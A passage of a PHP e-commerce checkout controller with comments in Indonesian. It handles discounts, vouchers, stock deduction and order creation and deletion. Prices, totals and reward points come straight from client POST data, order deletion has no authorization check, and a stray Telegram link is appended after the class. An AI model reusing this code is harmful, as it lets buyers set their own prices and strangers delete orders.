  private function getDiscountInfo($cart_items, $shipping_data, $shipping_methods = [], $total_shipping_fee = 0, $subtotal = null)

  {

    $is_discount_applicable = $this->checkDiscountEligibility($cart_items, $shipping_methods, $shipping_data);

    $discount_percentage = 0;

    $discount_applied = 0;

    $shipping_discount_received = 0;



    if ($is_discount_applicable && $subtotal) {

      // Tentukan persentase diskon berdasarkan subtotal

      if ($subtotal >= 1500000) {

        $discount_percentage = 5;

      } else {

        $discount_percentage = 3;

      }



      // Hitung diskon

      $discount_applied = ($subtotal * $discount_percentage) / 100;

      $shipping_discount_received = min($discount_applied, $total_shipping_fee);

    }



    return [

      'is_discount_applicable' => $is_discount_applicable,

      'discount_percentage' => $discount_percentage,

      'discount_applied' => $discount_applied,

      'shipping_discount_received' => $shipping_discount_received,

      'subtotal_threshold_met' => $subtotal >= 1500000,

      'is_first_order' => $shipping_data && intval($shipping_data->is_first) === 1

    ];

  }



  private function formatBiteshipETD($biteship_duration, $service_code = null)

  {

    $service_type = $this->determineServiceType($service_code);

    $result = format_shipping_etd($biteship_duration, $service_type, date('Y-m-d H:i:s'));



    return $result;

  }



  private function determineServiceType($service_code)

  {

    $service_lower = strtolower($service_code);



    // Instant services - tidak eligible untuk diskon

    $instant_services = ['instant', 'grab_instant', 'gojek_instant', 'gosend', 'grab_express'];



    // Same day services - tidak eligible untuk diskon  

    $same_day_services = ['same_day', 'sameday', 'sd', 'grab_sameday', 'gojek_sameday'];



    // Next day services - eligible untuk diskon

    $nextday_services = ['next_day', 'nextday', 'oke', 'yes', 'overnight'];



    // Regular services - eligible untuk diskon

    $regular_services = ['reg', 'regular', 'standard', 'ctc', 'jtr', 'economy', 'yakin'];



    if (in_array($service_lower, $instant_services)) {

      return 'instant';

    } elseif (in_array($service_lower, $same_day_services)) {

      return 'same_day';

    } elseif (in_array($service_lower, $nextday_services)) {

      return 'next_day';

    } else {

      return 'regular';

    }

  }



  public function set_voucher()

  {

    $voucher_code = $this->security->xss_clean($this->input->post('voucher'));

    $response = [

      'success' => false,

      'message' => 'Voucher tidak ditemukan',

      'voucher' => null

    ];



    // Validasi voucher

    if (empty($voucher_code)) {

      $response['message'] = 'Voucher code is required.';

      echo json_encode($response);

      return;

    }



    // Retrieve voucher

    $voucher = $this->db->select('*')

      ->from('vouchers')

      ->where('voucher_code', $voucher_code)

      ->get()

      ->row();



    // Invalid voucher

    if (!$voucher) {

      $response['message'] = 'Voucher not found or not valid.';

      echo json_encode($response);

      return;

    }



    // Validasi berbagai jenis voucher

    $validation_result = ['valid' => false, 'message' => ''];



    switch ($voucher->voucher_type) {

      case 'normal promo':

        $validation_result = $this->_validate_normal_promo($voucher);

        break;

      case 'birthday promo':

        $validation_result = $this->_validate_birth_promo($voucher);

        break;

      case 'time promo':

        $validation_result = $this->_validate_time_promo($voucher);

        break;

      case 'product promo':

        $validation_result = $this->_validate_product_promo($voucher);

        break;

      case 'customer promo':

        $validation_result = $this->_validate_customer_promo($voucher);

        break;

      default:

        $validation_result = ['valid' => false, 'message' => 'Tipe voucher tidak didukung.'];

    }



    // Jika tidak valid, kembalikan pesan error spesifik

    if (!$validation_result['valid']) {

      $response['message'] = $validation_result['message'];

      echo json_encode($response);

      return;

    }



    // Jika valid, simpan informasi voucher ke session

    $this->session->set_userdata('chosen_voucher_code', $voucher->voucher_code);

    $this->session->set_userdata('chosen_voucher_type', $voucher->discount_type);

    $this->session->set_userdata('chosen_voucher_discount', $voucher->discount_value);

    $this->session->set_userdata('chosen_voucher_voucher_type', $voucher->voucher_type);



    // Jika product promo, simpan product_ids yang mendapat diskon

    if ($voucher->voucher_type == 'product promo' && !empty($voucher->productpromo)) {

      $this->session->set_userdata('promo_product_ids', $voucher->productpromo);

    }



    // Siapkan response sukses

    $response = [

      'success' => true,

      'message' => 'Voucher applied successfully.',

      'voucher' => [

        'code' => $voucher->voucher_code,

        'name' => $voucher->voucher_name,

        'discount_type' => $voucher->discount_type,

        'discount_value' => $voucher->discount_value

      ]

    ];



    echo json_encode($response);

  }

  private function _validate_normal_promo($voucher)

  {

    // Default result

    $result = ['valid' => true, 'message' => 'Voucher valid.'];

    return $result;

  }



  private function _validate_birth_promo($voucher)

  {

    $id_customer = (int) $this->session->userdata('customer')['customer_id'];

    $customer = $this->customer_m->get_customer($id_customer);



    // Default result

    $result = ['valid' => false, 'message' => 'Voucher tidak valid.'];



    // Validasi data pelanggan

    if (!$customer || empty($customer->birthday)) {

      $result['message'] = 'Data pelanggan tidak valid atau tanggal lahir tidak tersedia.';

      return $result;

    }



    // Validasi bulan kelahiran

    $birth_month = (int) date('m', strtotime($customer->birthday));

    $voucher_birth_month = (int) $voucher->birthmonth;



    // Validasi bulan kelahiran

    if ($birth_month !== $voucher_birth_month) {

      $result['message'] = 'Voucher hanya berlaku untuk bulan kelahiran tertentu.';

      return $result;

    }



    // Validasi min_order

    $cart_total = $this->cart->total(); // Ambil total harga item di cart

    if (!is_null($voucher->min_order) && $cart_total < $voucher->min_order) {

      $result['message'] = "Minimal order: IDR " . number_format($voucher->min_order, 0, ',', '.');

      return $result;

    }



    // Validasi maxqty_per_person

    if (!is_null($voucher->maxqty_per_person) && $voucher->maxqty_per_person > 0) {

      $redeemed_count = $this->db->where('customer_id', $id_customer)

        ->where('redeemed_voucher_code', $voucher->voucher_code)

        ->count_all_results('orders');



      if ($redeemed_count >= $voucher->maxqty_per_person) {

        $result['message'] = 'Anda sudah pernah menggunakan voucher ini.';

        return $result;

      }

    }



    // Jika semua validasi berhasil

    $result['valid'] = true;

    $result['message'] = 'Voucher valid.';

    return $result;

  }



  private function _validate_time_promo($voucher)

  {

    $current_time = date('Y-m-d H:i:s');

    $id_customer = (int) $this->session->userdata('customer')['customer_id'];



    // Default result

    $result = ['valid' => false, 'message' => 'Voucher tidak valid.'];



    // Validasi waktu promo

    if (!($current_time >= $voucher->promostart && $current_time <= $voucher->promoend)) {

      $result['message'] = 'Waktu promo tidak valid.';

      return $result;

    }



    // Validasi Min Order

    $cart_total = $this->cart->total(); // Ambil total harga item di cart

    if (!is_null($voucher->min_order) && $cart_total < $voucher->min_order) {

      $result['message'] = "Minimal order: IDR " . number_format($voucher->min_order, 0, ',', '.');

      return $result;

    }



    // Validasi max redeemed per person

    if (!is_null($voucher->maxqty_per_person) && $voucher->maxqty_per_person > 0) {

      $redeemed_count = $this->db->where('customer_id', $id_customer)

        ->where('redeemed_voucher_code', $voucher->voucher_code)

        ->count_all_results('orders');



      if ($redeemed_count >= $voucher->maxqty_per_person) {

        $result['message'] = 'Anda sudah pernah menggunakan voucher ini.';

        return $result;

      }

    }



    // Jika semua validasi berhasil

    $result['valid'] = true;

    $result['message'] = 'Voucher valid.';

    return $result;

  }



  private function _validate_customer_promo($voucher)

  {

    $id_customer = (int) $this->session->userdata('customer')['customer_id'];

    $cart_total = $this->cart->total(); // Ambil total harga belanjaan pelanggan



    // Default result

    $result = ['valid' => false, 'message' => 'Voucher tidak valid.'];



    // Validasi customerpromo

    if (!empty($voucher->customerpromo)) {

      $promo_customer_ids = explode(',', $voucher->customerpromo); // Misalnya "101,102,103"

      $promo_customer_ids = array_map('trim', $promo_customer_ids); // Bersihkan spasi



      if (!in_array($id_customer, $promo_customer_ids)) {

        $result['message'] = 'Voucher hanya berlaku untuk pelanggan tertentu.';

        return $result;

      }

    }



    // Validasi maxqty_per_person

    if (!empty($voucher->maxqty_per_person)) {

      // Cek apakah voucher sudah digunakan oleh customer

      $used_voucher_count = $this->db->select('count(*) as qty_used')

        ->from('orders')

        ->where('customer_id', $id_customer)

        ->where('redeemed_voucher_code', $voucher->voucher_code)

        ->get()

        ->row()

        ->qty_used;



      if ($used_voucher_count >= $voucher->maxqty_per_person) {

        $result['message'] = 'Voucher ini sudah mencapai batas penggunaan per pelanggan.';

        return $result;

      }

    }



    // Validasi min_order

    if (!empty($voucher->min_order)) {

      if ($cart_total < $voucher->min_order) {

        $result['message'] = 'Minimal order untuk voucher ini adalah ' . number_format($voucher->min_order, 0, ',', '.');

        return $result;

      }

    }



    // Jika validasi berhasil

    $result['valid'] = true;

    $result['message'] = 'Voucher valid.';

    return $result;

  }

  private function _validate_product_promo($voucher)

  {

    $id_customer = (int) $this->session->userdata('customer')['customer_id'];

    $cart_items = $this->cart->contents();

    $cart_total = $this->cart->total();



    // Default result

    $result = ['valid' => false, 'message' => 'Voucher tidak valid.'];



    // Validasi maxqty_per_person

    if (!is_null($voucher->maxqty_per_person) && $voucher->maxqty_per_person > 0) {

      $redeemed_count = $this->db->where('customer_id', $id_customer)

        ->where('redeemed_voucher_code', $voucher->voucher_code)

        ->count_all_results('orders');



      if ($redeemed_count >= $voucher->maxqty_per_person) {

        $result['message'] = 'Anda sudah mencapai batas penggunaan voucher ini.';

        return $result;

      }

    }



    // Validasi min_order

    if (!is_null($voucher->min_order) && $cart_total < $voucher->min_order) {

      $result['message'] = 'Minimal pembelian untuk voucher ini adalah IDR ' .

        number_format($voucher->min_order, 0, ',', '.');

      return $result;

    }



    // Validasi product_id di cart dengan voucher->productpromo

    if (!empty($voucher->productpromo)) {

      $promo_product_ids = explode(',', $voucher->productpromo);

      $promo_product_ids = array_map('trim', $promo_product_ids);



      $is_product_in_cart = false;

      foreach ($cart_items as $item) {

        if (in_array($item['product_id'], $promo_product_ids)) {

          $is_product_in_cart = true;

          break;

        }

      }



      if (!$is_product_in_cart) {

        $result['message'] = 'Voucher ini hanya berlaku untuk produk tertentu yang tidak ada di keranjang Anda.';

        return $result;

      }

    }



    // Jika semua validasi berhasil

    $result['valid'] = true;

    $result['message'] = 'Voucher valid.';

    return $result;

  }





  public function create_order_detail()

  {

    try {

      // Validate input existence

      if (!isset($_POST['orderDetailData'])) {

        throw new Exception('Order detail data is missing');

      }



      // Decode the JSON string

      $order_details = json_decode($_POST['orderDetailData'], true);



      // Additional validation

      if (json_last_error() !== JSON_ERROR_NONE) {

        throw new Exception('Invalid JSON format: ' . json_last_error_msg());

      }



      if (!is_array($order_details) || empty($order_details)) {

        throw new Exception('Order details must be a non-empty array');

      }



      // Extract the order ID from the first detail item for potential rollback

      $order_id = isset($order_details[0]['orderId']) ? $order_details[0]['orderId'] : null;

      if (!$order_id) {

        throw new Exception('Unable to determine order ID');

      }



      // Start database transaction

      $this->db->trans_start();



      // First, check stock availability for all items

      $insufficient_stock_items = [];

      $initial_stock_data = []; // Store initial stock for each product



      foreach ($order_details as $detail) {

        // Validate required fields

        $required_fields = ['orderId', 'productId', 'detailId', 'quantity', 'itemPrice', 'shippingMethodId', 'productName'];

        foreach ($required_fields as $field) {

          if (!isset($detail[$field]) || $detail[$field] === '') {

            throw new Exception("Missing required field: {$field}");

          }

        }



        // Check if stock is sufficient

        $this->db->select('stock');

        $this->db->where('id_product', $detail['productId']);

        $this->db->where('id_product_detail', $detail['detailId']);

        $this->db->where('warehouse_id', isset($detail['warehouseId']) ? $detail['warehouseId'] : 1);

        $stock_query = $this->db->get('stock');



        if ($stock_query->num_rows() == 0) {

          $insufficient_stock_items[] = [

            'product_name' => $detail['productName'],

            'error' => 'Stock data not found'

          ];

          continue;

        }



        $stock_row = $stock_query->row();



        // Store initial stock for each product

        $initial_stock_data[$detail['detailId']] = $stock_row->stock;



        if ($stock_row->stock < $detail['quantity']) {

          $insufficient_stock_items[] = [

            'product_name' => $detail['productName'],

            'requested' => $detail['quantity'],

            'available' => $stock_row->stock,

            'error' => 'Insufficient stock'

          ];

        }

      }



      // If any item has insufficient stock, abort the entire transaction

      if (!empty($insufficient_stock_items)) {

        // Delete the main order since we can't fulfill it

        $this->db->where('id_orders', $order_id);

        $this->db->delete('orders');



        throw new Exception('Insufficient stock for some items', 422);

      }



      $success_count = 0;

      $error_details = [];



      // Process each order detail

      foreach ($order_details as $detail) {

        // Prepare insert data

        $insert_data = [

          'orders_id' => $detail['orderId'],

          'product_id' => $detail['productId'],

          'item_id' => $detail['detailId'],

          'quantity' => $detail['quantity'],

          'item_price' => $detail['itemPrice'],

          'chosen_shipping_id' => $detail['shippingMethodId'],

          'warehouse_id' => isset($detail['warehouseId']) ? $detail['warehouseId'] : 1,

          'shipping_fee' => isset($detail['shippingFee']) ? $detail['shippingFee'] : 0,

          'attribute_detail_ids' => isset($detail['attributeDetailId']) ? $detail['attributeDetailId'] : null,

          'attributes' => isset($detail['attribute']) ? $detail['attribute'] : null,

          'subtotal' => $detail['subtotal'],

          'sku' => $detail['sku'],

          'item_name' => $detail['productName']

        ];



        // Perform insert

        $insert_result = $this->db->insert('orders_detail', $insert_data);



        // Update Stock

        if ($insert_result) {

          $this->db->set('stock', 'stock - ' . (int)$detail['quantity'], false);

          $this->db->where('id_product', $detail['productId']);

          $this->db->where('id_product_detail', $detail['detailId']);

          $this->db->where('warehouse_id', isset($detail['warehouseId']) ? $detail['warehouseId'] : 1);

          $update_stock_result = $this->db->update('stock');



          // Generate stock movement

          if ($update_stock_result) {

            // Get updated stock

            $this->db->select('id, stock');

            $this->db->where('id_product', $detail['productId']);

            $this->db->where('id_product_detail', $detail['detailId']);

            $this->db->where('warehouse_id', isset($detail['warehouseId']) ? $detail['warehouseId'] : 1);

            $updated_stock = $this->db->get('stock')->row();



            if ($updated_stock) {

              $stock_id = $updated_stock->id;

              $new_total = $updated_stock->stock;



              // Get initial stock for this specific product

              $old_stock = $initial_stock_data[$detail['detailId']];



              // Insert stock movement

              $movement_data = [

                'stock_id' => $stock_id,

                'type' => '-',

                'stock_change' => $detail['quantity'],

                'remark' => 'Sales Order No: ' . $detail['orderId'],

                'total' => $new_total,

                'name' => 'System',

                'datetime' => date('Y-m-d H:i:s')

              ];



              $insert_movement_result = $this->db->insert('stock_movement', $movement_data);



              // Log stock update with correct old and new stock

              $this->log_m->log_stock_update(

                $detail['orderId'],

                $detail['detailId'],

                $detail['productName'],

                $old_stock,

                $new_total,

                base_url('admin/products/stock-product?tab=all'),

                null,

                'stock', // field

                'orders' // record type

              );



              if (!$insert_movement_result) {

                $db_error = $this->db->error();

                $error_details[] = [

                  'product_name' => $detail['productName'],

                  'error' => 'Failed to insert stock movement'

                ];

              }

            } else {

              $error_details[] = [

                'product_name' => $detail['productName'],

                'error' => 'Stock ID not found'

              ];

            }

            $success_count++;

          } else {

            $db_error = $this->db->error();

            $error_details[] = [

              'product_name' => $detail['productName'],

              'error' => 'Failed to update stock'

            ];

          }

        } else {

          $db_error = $this->db->error();

          $error_details[] = [

            'product_name' => $detail['productName'],

            'error' => $db_error

          ];

        }

      }



      // Complete transaction

      $this->db->trans_complete();



      // Prepare response

      $response = $this->db->trans_status() === FALSE

        ? [

          'status' => false,

          'message' => 'Gagal menyimpan order detail',

          'error_details' => $error_details

        ]

        : [

          'status' => true,

          'message' => "Berhasil menyimpan {$success_count} order detail",

          'total_processed' => count($order_details),

          'success_count' => $success_count

        ];



      // Return JSON response

      return $this->output

        ->set_content_type('application/json')

        ->set_output(json_encode($response));

    } catch (Exception $e) {

      // Log the full exception



      // Rollback transaction if it's active

      if ($this->db->trans_status() !== FALSE) {

        $this->db->trans_rollback();

      }



      // Return error response with appropriate status code

      $http_code = $e->getCode() >= 400 && $e->getCode() < 600 ? $e->getCode() : 500;



      $response = [

        'status' => false,

        'message' => $e->getMessage(),

        'error_code' => $e->getCode(),

        'insufficient_stock_items' => isset($insufficient_stock_items) ? $insufficient_stock_items : [],

      ];



      return $this->output

        ->set_content_type('application/json')

        ->set_status_header($http_code)

        ->set_output(json_encode($response));

    }

  }



  /**

   * Menghapus data order berdasarkan ID

   * 

   * Digunakan untuk rollback atau pembatalan pesanan ketika terjadi kesalahan

   * seperti stok tidak mencukupi

   * 

   * @return JSON

   */

  public function delete_order_data()

  {

    try {

      // Validate required parameters

      if (!isset($_POST['orderId']) || !is_numeric($_POST['orderId'])) {

        throw new Exception('Order ID is required and must be numeric');

      }



      $order_id = (int)$_POST['orderId'];



      // Start database transaction

      $this->db->trans_start();



      // Check if order exists

      $this->db->where('id_orders', $order_id);

      $order_exists = $this->db->get('orders')->num_rows() > 0;



      if (!$order_exists) {

        throw new Exception('Order not found with ID: ' . $order_id);

      }



      // Delete any related order details first (maintain referential integrity)

      $this->db->where('orders_id', $order_id);

      $delete_details_result = $this->db->delete('orders_detail');

      $affected_details = $this->db->affected_rows();



      // Delete the main order

      $this->db->where('id_orders', $order_id);

      $delete_order_result = $this->db->delete('orders');

      $affected_orders = $this->db->affected_rows();



      // Complete transaction

      $this->db->trans_complete();



      // Check if deletion was successful

      if ($this->db->trans_status() === FALSE) {

        throw new Exception('Failed to delete order');

      }



      // Return success response

      $response = [

        'status' => true,

        'message' => 'Pesanan berhasil dihapus',

        'deleted_order_id' => $order_id,

        'affected_details' => $affected_details,

        'affected_orders' => $affected_orders

      ];



      return $this->output

        ->set_content_type('application/json')

        ->set_output(json_encode($response));

    } catch (Exception $e) {



      // Rollback transaction if it's active

      if ($this->db->trans_status() !== FALSE) {

        $this->db->trans_rollback();

      }



      // Return error response

      $response = [

        'status' => false,

        'message' => $e->getMessage()

      ];



      return $this->output

        ->set_content_type('application/json')

        ->set_status_header(500)

        ->set_output(json_encode($response));

    }

  }



  public function insert_order_data()

  {

    if ($_SERVER['REQUEST_METHOD'] !== 'POST') {

      echo json_encode(['error' => 'Invalid request method.']);

      http_response_code(405);

      return;

    }



    $input = $this->input->post();



    $payment_type = $input['paymentType'];



    $orderData = [

      'customer_id'          => isset($input['customerId']) ? $input['customerId'] : null,

      'total_amount'         => isset($input['totalAmount']) ? $input['totalAmount'] : 0,

      'order_date'           => isset($input['orderDate']) ? $input['orderDate'] : date('Y-m-d'),

      'recipient_name'       => isset($input['recipientName']) ? $input['recipientName'] : null,

      'address'              => isset($input['address']) ? $input['address'] : null,

      'subdistrict'          => isset($input['subdistrict']) ? $input['subdistrict'] : null,

      'district'             => isset($input['district']) ? $input['district'] : null,

      'province'             => isset($input['province']) ? $input['province'] : null,

      'postcode'             => isset($input['postcode']) ? $input['postcode'] : null,

      'phone'                => isset($input['phone']) ? $input['phone'] : null,

      'email'                => isset($input['email']) ? $input['email'] : null,

      'first'                => isset($input['first']) ? $input['first'] : 0,

      'country'              => isset($input['country']) ? $input['country'] : null,

      'shipping_fee'         => isset($input['shippingFee']) ? $input['shippingFee'] : 0,

      'created_by'           => isset($input['createdBy']) ? $input['createdBy'] : null,

      'customer_note'        => isset($input['customerNote']) ? $input['customerNote'] : null,

      'gift_receiver_name'   => isset($input['giftRecipientName']) ? $input['giftRecipientName'] : null,

      'gift_receiver_phone'  => isset($input['giftRecipientPhone']) ? $input['giftRecipientPhone'] : null,

      'insurance_status'     => isset($input['insuranceStatus']) ? $input['insuranceStatus'] : 'No',

      'insurance_cost'       => isset($input['insuranceFee']) ? $input['insuranceFee'] : 0,

      'referral'             => isset($input['referral']) ? $input['referral'] : null,

      'source'               => isset($input['source']) ? $input['source'] : null,

      'medium'               => isset($input['medium']) ? $input['medium'] : null,

      'campaign'             => isset($input['campaign']) ? $input['campaign'] : null,

      'order_language'       => isset($input['orderLanguage']) ? $input['orderLanguage'] : 'indonesian',

      'redeemed_voucher_code'   => isset($input['redeemedVoucherCode']) ? $input['redeemedVoucherCode'] : null,

      'redeemed_voucher_value'  => isset($input['voucherRedeemedValue']) ? $input['voucherRedeemedValue'] : 0,

      'redeemed_voucher_type'   => isset($input['voucherRedeemedType']) ? $input['voucherRedeemedType'] : null,

      'redeemed_voucher_amount' => isset($input['voucherRedeemedAmount']) ? $input['voucherRedeemedAmount'] : null,

      'plus_reward'              => isset($input['plusPointReward']) ? $input['plusPointReward'] : 0,

      'minus_reward'             => isset($input['minusPointReward']) ? $input['minusPointReward'] : 0,

      'minus_reward_amount'      => isset($input['pointRedeemedAmount']) ? $input['pointRedeemedAmount'] : 0,

      'grand_total_amount'       => isset($input['grandTotalAmount']) ? $input['grandTotalAmount'] : 0,

      'total_downpayment'        => isset($input['grandTotalAmount']) ? $input['grandTotalAmount'] : 0,

      'payment_type'             => isset($payment_type) ? $payment_type : 'not_yet',

    ];





    $grandTotal = (int) $input['grandTotalAmount'];



    $this->db->trans_start();

    try {

      $this->db->insert('orders', $orderData);



      if ($this->db->affected_rows() > 0) {

        $orderId = $this->db->insert_id();

        $customerId = $input['customerId'];

        $minusReward = isset($input['minusPointReward']) ? (int)$input['minusPointReward'] : 0;



        // Validasi input

        if ($minusReward < 0) {

          throw new Exception('Invalid point reward value.');

        }



        // Validasi customer ID

        if (empty($customerId) || !is_numeric($customerId)) {

          throw new Exception('Invalid customer ID.');

        }



        // Update customer points hanya jika ada pengurangan

        if ($minusReward > 0) {

          // Mulai transaction untuk atomicity

          $this->db->trans_start();



          try {

            // Cek customer dan current points dengan FOR UPDATE untuk avoid race condition

            $this->db->select('id_customers, current_pointreward');

            $this->db->where('id_customers', $customerId);

            $query = $this->db->get('customers');



            if ($query->num_rows() === 0) {

              throw new Exception('Customer not found.');

            }



            $customer = $query->row();

            $currentPoints = (int)$customer->current_pointreward;



            // Validasi apakah poin cukup

            if ($currentPoints < $minusReward) {

              throw new Exception('Insufficient points. Current: ' . $currentPoints . ', Required: ' . $minusReward);

            }



            // Lakukan update

            $newPoints = $currentPoints - $minusReward;

            $this->db->set('current_pointreward', $newPoints);

            $this->db->where('id_customers', $customerId);

            $this->db->update('customers');



            // Cek apakah update berhasil

            if ($this->db->affected_rows() === 0) {

              throw new Exception('Failed to update customer points - no rows affected.');

            }



            // Commit transaction

            $this->db->trans_complete();



            if ($this->db->trans_status() === FALSE) {

              throw new Exception('Transaction failed while updating customer points.');

            }

          } catch (Exception $e) {

            // Rollback jika ada error

            $this->db->trans_rollback();

            throw $e;

          }

        }





        // Update customer is_first field

        $this->db->set('is_first', 'is_first + 1', FALSE);

        $this->db->where('id_customers', $customerId);

        $this->db->update('customers');



        if ($this->db->affected_rows() === 0) {

          throw new Exception('Failed to update customer is_first field.');

        }



        $name = 'System';

        $recipient = $input['recipientName'];

        $description = "Pesanan Baru dari {$recipient} telah ditambahkan dengan Order ID {$orderId} senilai {$grandTotal}. Pesanan ini dibuat oleh {$name}.";



        $reference_url = base_url('admin/orders/manage-order?tab=pending');

        $log_id = $this->log_m->log_order_create($orderId, $description, $reference_url);

        $this->log_m->send_order_notifications('CREATE_ORDER', $log_id, $description);

        echo json_encode([

          'message' => 'Order created successfully.',

          'order_id' => $orderId

        ]);

        http_response_code(201);

        $this->db->trans_complete();

      } else {

        echo json_encode(['error' => 'Failed to create order.']);

        http_response_code(500);

      }

    } catch (Exception $e) {

      $this->db->trans_rollback();

      echo json_encode(['error' => 'Database error occurred:' . $e->getMessage()]);

      http_response_code(500);

    }

  }



  // Validator JSON





  public function test_etd()

  {

    return testCases();

  }

}


https://t.me/RX1948 - 2025